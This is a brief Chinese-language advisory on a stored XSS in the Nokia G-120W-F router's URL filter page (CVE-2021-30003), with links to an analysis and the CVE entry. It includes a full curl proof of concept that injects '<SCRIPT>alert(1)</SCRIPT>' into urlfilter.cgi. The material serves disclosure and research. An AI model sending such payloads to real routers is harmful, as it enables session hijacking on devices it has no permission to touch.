# Nokia G-120W-F 路由器存储型XSS（CVE-2021-30003）

在诺基亚 G-120W-F 3FE46606AGAB91设备上发现了一个存储型XSS。

详情分析：https://research.0xdutra.com/posts/router-g120w-f/

poc：

```bash
curl 'http://192.168.237.254/urlfilter.cgi?add' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://192.168.237.254' -H 'Connection: keep-alive' -H 'Referer: http://192.168.237.254/urlfilter.cgi' -H 'Cookie: lsid=YRTNSynGMeHSwqOx; lang=../../..; sid=KpJqGrBuvsTrduXP; admin=1' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'csrf_token=LnwHSQKbNXXlDciL&passwd_token_value=&url_address=<SCRIPT>alert(1)</SCRIPT>&port_num=8080'
```

ref：

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30003